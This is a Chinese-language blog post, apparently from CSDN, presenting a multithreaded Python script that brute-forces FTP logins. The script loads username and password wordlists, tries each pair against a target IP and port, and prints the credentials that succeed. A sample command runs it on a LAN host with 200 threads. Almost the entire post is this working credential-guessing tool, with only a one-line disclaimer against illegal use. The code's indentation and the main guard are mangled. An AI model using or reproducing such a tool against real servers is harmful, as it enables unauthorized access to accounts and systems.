目录:
Python开发 代码:
(1)利用 FTP模块 实现协议爆破脚本.
(2)在命令行下执行脚本.(这里我服务器修改 FTP协议端口 为221. )
(3)效果图.
(4)端口连接.
免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。
Python开发 代码:
(1)利用 FTP模块 实现协议爆破脚本.
import ftplib #FTP模块.
import sys #传递模块.
import threading #多线程用的.
import queue #多线程用的.
爆破要准备:IP,端口,用户名,密码字典.
def ftp_brute(ip,port):
ftp = ftplib.FTP() #创建一个对象.
ftp.connect(ip, int(port)) #尝试连接FTP,IP是输入的IP,port是输入的端口.
while not q.empty(): #接收下面传递的数据.
dict=q.get() #用get形式来接收数据.
dict=dict.split('|') #把数据从 | 进行拆分.
username=dict[0] #第一个数据.
password=dict[1] #第二个数据.
try: #异常处理(成功的).
ftp.login(username,password) #尝试登录,usef账号字典,passf密码字典.
ftp.retrlines('list') #获取列表信息.
print(username+'|'+password+'|成功!') #连接成功就打印账号和密码.
except ftplib.all_errors: #错误的.
print(username + '|' + password + '|失败!')
pass
if name == 'main':
ip=sys.argv[1] #输入的IP地址
port=sys.argv[2] #输入的端口
usefile=sys.argv[3] #输入的账号字典
passfile=sys.argv[4] #输入的密码字典
threading_unm =sys.argv[5] #输入线程数
q=queue.Queue() #传递模块.
for username in open(usefile): #开打输入的字典文件,每一行还要取出来.
for password in open(passfile): #开打输入的字典文件,每一行还要取出来.
username=username.replace('\n','') #把\n替换为空
password=password.replace('\n','') #把\n替换为空
zidian=username + '|' + password
q.put(zidian) #把账号和密码发送过去(发送到上面).
for x in range(int(threading_unm)): #设置多线程(上面有输入的)
t=threading.Thread(target=ftp_brute,args=(ip,int(port))) #利用threading.Thread模块,target要执行的函数名,处理args传入的参数
t.start() #开启.
(2)在命令行下执行脚本.( 这里我服务器修改 FTP 协议端口 为221端口)
D:\pycharm开发代码\渗透脚本>D:\python-3.10.4\python.exe 利用FTP模块实现协议爆破脚本.py 192.168.43.183 221 Uset.txt pass.txt 200
(3)效果图.
(4)端口连接.
文章知识点与官方知识档案匹配,可进一步学习相关知识
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_54977781/article/details/124855426